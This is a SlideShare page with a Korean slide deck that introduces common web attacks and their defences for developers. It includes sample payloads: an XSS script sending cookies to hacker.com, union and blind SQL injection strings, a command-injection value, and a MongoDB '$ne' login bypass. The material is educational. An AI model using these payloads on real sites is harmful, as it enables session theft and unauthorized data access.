SlideShare une entreprise Scribd logo
1  sur  46
Télécharger pour lire hors ligne
웹 개발을 위해
꼭 알아야하는 보안 공격
2021. 02. 22
이선협
오늘의 목표
웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
웹 보안
웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여
권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다.
https://ko.wikipedia.org/wiki/웹_해킹
한 순간의 실수로 서비스가 망할 수도 있다! 😨
너무 다양한 공격 기법…
SQL Injection
XSS
CSRF Attack
File Upload Attack
Command Injection
Buffer Overflow
Dictionary Attack
.
.
.
전부는 아니더라도 기초적인 것은
꼭 알아둬야한다
알아야하는 공격 기법
Start
SQL Injection
•서버에서 실행되는 SQL을 악의적으로 이용하는 공격
•기존 SQL에 악의적인 SQL을 삽입한다.
•데이터 탈취, 삭제 등이 가능하다.
•뚫리면 서비스 종료각
SQL Injection - 사례
SQL Injection - 사례
SQL Injection - 방어
•SQL에서 특별한 의미를 가지는 문자를 이스케이프한다.
ex) n, t, |, /, &, #, …...
•준비된 선언을 사용한다.
•요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
SQL Injection - 심화
•Error based SQL Injection
•일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다.
•쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
SQL Injection - 심화
•Blind SQL Injection
•Query 결과의 참/거짓을 보고 원하는 정보가
존재하는지 알 수 있다. (추론)
•DB, Table 명을 알 수 있다.
•SQLMap
ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
SQL Injection - 심화
•Union SQL Injection
•Union 명령을 이용하여 정보를 취득한다.
ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
XSS
•Crose-Site Scripting
•웹 페이지에 악성 스크립트를 삽입하는 공격
•사이트 이용자 정보를 탈취할 수 있다.
•뚫리면 많은 것을 잃는다.
XSS - 사례
<script>document.URL='http://hacker.com?'+document.cookie</script>
게시판 이용자가 글을 읽을 때 토큰 탈취!!!
XSS - 방어
•HTML 필터링을 한 후 DB에 저장한다.
ex) <, >, script, html, head, meta, ……
•만약을 위해 프론트엔드에서도 필터링한다.
XSS - 심화
•앞서 소개한 방식은 Stored XSS
•Reflected XSS
•DOM Based XSS
XSS - 심화
•Reflected XSS
•검색어 등을 보여주는 곳에 스크립트를 심는 공격
•URL을 사용자에게 누르게 만들면 공격 성공
https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
XSS - 심화
•DOM Based XSS
•DOM에 악의적인 스크립트를 심는 공격
•브라우저가 해석하는 단계에서 발생되는 공격
CSRF Attack
•Cross-Site Request Forgery
•공격자가 사용자를 이용하여 웹 사이트에
요청을 보내는 공격
CSRF Attack - 사례
가짜 진짜
admin
1q2w3e4r
로그인 요청
성공/실패
성공했으면 저장
CSRF Attack - 방어
•Referrer Check
•허용한 도메인만 요청 허락하도록 설정
•CSRF Token
•모든 요청에 토큰을 발급하여 서버에서 검증
•CAPTCHA
•사람이 요청한 것이 맞는지 검증
Command Injection
•애플리케이션에서 사용되는 시스템 명령에 악의적인
명령어를 삽입하는 공격 (WebShell Attack)
•서버 root 권한을 취득할 수 있다.
•뚫리면 서비스 종료각
Command Injection - 사례
Hacker
text.txt; ifconfig
system("cat ${var}")
execute
WebShell
Command Injection - 방어
•가급적 시스템 함수는 사용 X
•민감한 문자를 필터링
ex) |, &, ;, >, <
File Upload Attack
•악성 스크립트 파일을 업로드하는 공격
•업로드 후 파일 위치를 찾아 실행시키면 공격 성공
•뚫리면 서비스 종료각
File Upload Attack - 사례
Upload
1 2
Command WebShell
File Upload Attack - 방어
•확장자 / 파일 타입 검사
•업로드 파일을 난수화하여 저장
•특수 문자가 포함된 경우 업로드 금지
(Null byte Injection 방어)
Javascript Injection
•Client-Side에서 Javascript를 삽입시키는 공격
•크롬 console 등을 통해 조작 가능하다.
•Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
Javascript Injection - 사례
Javascript Injection - 방어
•Client-Side엔 민감한 정보를 절대 넣지 않는다.
•데이터 유효성 검사가 필요한 경우 서버와 통신한다.
(Client에서 검사하면 안된다)
DDoS
•Distributed Denial of Service
•서버에 비정상적으로 많은 트래픽을 보내는 공격
•서비스가 마비되고 많은 비용이 소모된다.
DDoS - 사례
Zombie PC
Traffic
DDoS - 방어
•제일 단순한데 제일 막기 어렵다.
•확장 가능한 서비스 구조 설계
•IP 필터링
•솔루션 구매... …
Dictionary Attack
•미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격
•Brute Force의 일종
Dictionary Attack - 사례
admin
apple

banana

cyber

.

.

.

1q2w3e4r
Dictionary Attack - 방어
•의미가 있는 문자열은 암호로 등록 못하도록 설정
•Account Lockout Policy
•2-factor 인증
Rainbow Table
•해시 함수를 이용한 평문을 모두 저장시켜 놓은 표
•계정 탈취 후 암호 원문을 알아내기 위해 사용
Rainbow Table - 방어
•Salt 사용
•Key Stretching
•PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
MongoDB Injection
•SQL Injection처럼 악의적인 값을 넣어
DB를 조작하는 공격
•뚫리면 서비스 종료각
MongoDB Injection - 사례
db.collection.find({ "email": "kciter@cobalt.run", "password": password })
db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" })
password = { "$ne": "-" }
MongoDB Injection - 방어
•영향을 줄 수 있는 문자를 필터링한다.
ex) $, {, }, [, ], (, ), ...
Buffer Overflow
•Buffer Overflow를 통해 다른 메모리에 접근하는 공격
•다른 메모리에 접근 및 제어가 가능하기 때문에 치명적
•시스템 해킹 기법이기도 하다.
•뚫리면 서비스 종료각
Web 개발을 위해 꼭 알아야하는 보안 공격 기법

Contenu connexe

Similaire à Web 개발을 위해 꼭 알아야하는 보안 공격 기법

Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Michael Hendrickx
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101 Stormpath
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01G Prachi
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)Shubham Gupta
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
Security Basics For Developers Knowledge
Security Basics For Developers KnowledgeSecurity Basics For Developers Knowledge
Security Basics For Developers KnowledgeSiva Sankar
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018Marius Vorster
 
Open source security
Open source securityOpen source security
Open source securitylrigknat
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Yassine Aboukir
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scriptinggmaran23
 

Similaire à Web 개발을 위해 꼭 알아야하는 보안 공격 기법 (20)

Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01
 
Secure webbrowsing 1
Secure webbrowsing 1Secure webbrowsing 1
Secure webbrowsing 1
 
Codeinjection
CodeinjectionCodeinjection
Codeinjection
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Security Basics For Developers Knowledge
Security Basics For Developers KnowledgeSecurity Basics For Developers Knowledge
Security Basics For Developers Knowledge
 
a
aa
a
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018
 
Open source security
Open source securityOpen source security
Open source security
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scripting
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 

Plus de 선협 이

MongoDB 이해하기
MongoDB 이해하기MongoDB 이해하기
MongoDB 이해하기선협 이
 
Deep dive into Vue.js
Deep dive into Vue.jsDeep dive into Vue.js
Deep dive into Vue.js선협 이
 
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막선협 이
 
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017선협 이
 
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2ndVue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd선협 이
 
Reactive Programming With Swift
Reactive Programming With SwiftReactive Programming With Swift
Reactive Programming With Swift선협 이
 
Tour of Vue.js
Tour of Vue.jsTour of Vue.js
Tour of Vue.js선협 이
 
Functional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwiftFunctional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwift선협 이
 
파크히어 Realm 사용 사례
파크히어 Realm 사용 사례파크히어 Realm 사용 사례
파크히어 Realm 사용 사례선협 이
 
왜 Swift를 해야할까요?
왜 Swift를 해야할까요?왜 Swift를 해야할까요?
왜 Swift를 해야할까요?선협 이
 
C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법선협 이
 
C++과 Lua script연동
C++과 Lua script연동C++과 Lua script연동
C++과 Lua script연동선협 이
 
MSBuild + Git + Jenkins
MSBuild + Git + JenkinsMSBuild + Git + Jenkins
MSBuild + Git + Jenkins선협 이
 
Post Effect 테스트
Post Effect 테스트Post Effect 테스트
Post Effect 테스트선협 이
 

Plus de 선협 이 (16)

MongoDB 이해하기
MongoDB 이해하기MongoDB 이해하기
MongoDB 이해하기
 
Deep dive into Vue.js
Deep dive into Vue.jsDeep dive into Vue.js
Deep dive into Vue.js
 
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
 
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
 
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2ndVue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
 
Reactive Programming With Swift
Reactive Programming With SwiftReactive Programming With Swift
Reactive Programming With Swift
 
Tour of Vue.js
Tour of Vue.jsTour of Vue.js
Tour of Vue.js
 
Functional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwiftFunctional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwift
 
파크히어 Realm 사용 사례
파크히어 Realm 사용 사례파크히어 Realm 사용 사례
파크히어 Realm 사용 사례
 
왜 Swift를 해야할까요?
왜 Swift를 해야할까요?왜 Swift를 해야할까요?
왜 Swift를 해야할까요?
 
C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법
 
C++과 Lua script연동
C++과 Lua script연동C++과 Lua script연동
C++과 Lua script연동
 
C++11
C++11C++11
C++11
 
MSBuild + Git + Jenkins
MSBuild + Git + JenkinsMSBuild + Git + Jenkins
MSBuild + Git + Jenkins
 
Post Effect 테스트
Post Effect 테스트Post Effect 테스트
Post Effect 테스트
 
C++과 TDD
C++과 TDDC++과 TDD
C++과 TDD
 

Dernier

Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxfnnc6jmgwh
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Kaya Weers
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructureitnewsafrica
 
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotesMuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotesManik S Magar
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationKnoldus Inc.
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Hiroshi SHIBATA
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...Wes McKinney
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPathCommunity
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes
 
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...itnewsafrica
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsRavi Sanghani
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 

Dernier (20)

Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
 
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotesMuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
MuleSoft Online Meetup Group - B2B Crash Course: Release SparkNotes
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog Presentation
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to Hero
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
 
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and Insights
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 

Web 개발을 위해 꼭 알아야하는 보안 공격 기법

  • 1. 웹 개발을 위해 꼭 알아야하는 보안 공격 2021. 02. 22 이선협
  • 2. 오늘의 목표 웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
  • 3. 웹 보안 웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여 권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다. https://ko.wikipedia.org/wiki/웹_해킹
  • 4.
  • 5. 한 순간의 실수로 서비스가 망할 수도 있다! 😨
  • 6. 너무 다양한 공격 기법… SQL Injection XSS CSRF Attack File Upload Attack Command Injection Buffer Overflow Dictionary Attack . . .
  • 7. 전부는 아니더라도 기초적인 것은 꼭 알아둬야한다
  • 9. SQL Injection •서버에서 실행되는 SQL을 악의적으로 이용하는 공격 •기존 SQL에 악의적인 SQL을 삽입한다. •데이터 탈취, 삭제 등이 가능하다. •뚫리면 서비스 종료각
  • 10. SQL Injection - 사례
  • 11. SQL Injection - 사례
  • 12. SQL Injection - 방어 •SQL에서 특별한 의미를 가지는 문자를 이스케이프한다. ex) n, t, |, /, &, #, …... •준비된 선언을 사용한다. •요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
  • 13. SQL Injection - 심화 •Error based SQL Injection •일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다. •쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
  • 14. SQL Injection - 심화 •Blind SQL Injection •Query 결과의 참/거짓을 보고 원하는 정보가 존재하는지 알 수 있다. (추론) •DB, Table 명을 알 수 있다. •SQLMap ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
  • 15. SQL Injection - 심화 •Union SQL Injection •Union 명령을 이용하여 정보를 취득한다. ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
  • 16. XSS •Crose-Site Scripting •웹 페이지에 악성 스크립트를 삽입하는 공격 •사이트 이용자 정보를 탈취할 수 있다. •뚫리면 많은 것을 잃는다.
  • 18. XSS - 방어 •HTML 필터링을 한 후 DB에 저장한다. ex) <, >, script, html, head, meta, …… •만약을 위해 프론트엔드에서도 필터링한다.
  • 19. XSS - 심화 •앞서 소개한 방식은 Stored XSS •Reflected XSS •DOM Based XSS
  • 20. XSS - 심화 •Reflected XSS •검색어 등을 보여주는 곳에 스크립트를 심는 공격 •URL을 사용자에게 누르게 만들면 공격 성공 https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
  • 21. XSS - 심화 •DOM Based XSS •DOM에 악의적인 스크립트를 심는 공격 •브라우저가 해석하는 단계에서 발생되는 공격
  • 22. CSRF Attack •Cross-Site Request Forgery •공격자가 사용자를 이용하여 웹 사이트에 요청을 보내는 공격
  • 23. CSRF Attack - 사례 가짜 진짜 admin 1q2w3e4r 로그인 요청 성공/실패 성공했으면 저장
  • 24. CSRF Attack - 방어 •Referrer Check •허용한 도메인만 요청 허락하도록 설정 •CSRF Token •모든 요청에 토큰을 발급하여 서버에서 검증 •CAPTCHA •사람이 요청한 것이 맞는지 검증
  • 25. Command Injection •애플리케이션에서 사용되는 시스템 명령에 악의적인 명령어를 삽입하는 공격 (WebShell Attack) •서버 root 권한을 취득할 수 있다. •뚫리면 서비스 종료각
  • 26. Command Injection - 사례 Hacker text.txt; ifconfig system("cat ${var}") execute WebShell
  • 27. Command Injection - 방어 •가급적 시스템 함수는 사용 X •민감한 문자를 필터링 ex) |, &, ;, >, <
  • 28. File Upload Attack •악성 스크립트 파일을 업로드하는 공격 •업로드 후 파일 위치를 찾아 실행시키면 공격 성공 •뚫리면 서비스 종료각
  • 29. File Upload Attack - 사례 Upload 1 2 Command WebShell
  • 30. File Upload Attack - 방어 •확장자 / 파일 타입 검사 •업로드 파일을 난수화하여 저장 •특수 문자가 포함된 경우 업로드 금지 (Null byte Injection 방어)
  • 31. Javascript Injection •Client-Side에서 Javascript를 삽입시키는 공격 •크롬 console 등을 통해 조작 가능하다. •Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
  • 33. Javascript Injection - 방어 •Client-Side엔 민감한 정보를 절대 넣지 않는다. •데이터 유효성 검사가 필요한 경우 서버와 통신한다. (Client에서 검사하면 안된다)
  • 34. DDoS •Distributed Denial of Service •서버에 비정상적으로 많은 트래픽을 보내는 공격 •서비스가 마비되고 많은 비용이 소모된다.
  • 35. DDoS - 사례 Zombie PC Traffic
  • 36. DDoS - 방어 •제일 단순한데 제일 막기 어렵다. •확장 가능한 서비스 구조 설계 •IP 필터링 •솔루션 구매... …
  • 37. Dictionary Attack •미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격 •Brute Force의 일종
  • 38. Dictionary Attack - 사례 admin apple banana cyber . . . 1q2w3e4r
  • 39. Dictionary Attack - 방어 •의미가 있는 문자열은 암호로 등록 못하도록 설정 •Account Lockout Policy •2-factor 인증
  • 40. Rainbow Table •해시 함수를 이용한 평문을 모두 저장시켜 놓은 표 •계정 탈취 후 암호 원문을 알아내기 위해 사용
  • 41. Rainbow Table - 방어 •Salt 사용 •Key Stretching •PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
  • 42. MongoDB Injection •SQL Injection처럼 악의적인 값을 넣어 DB를 조작하는 공격 •뚫리면 서비스 종료각
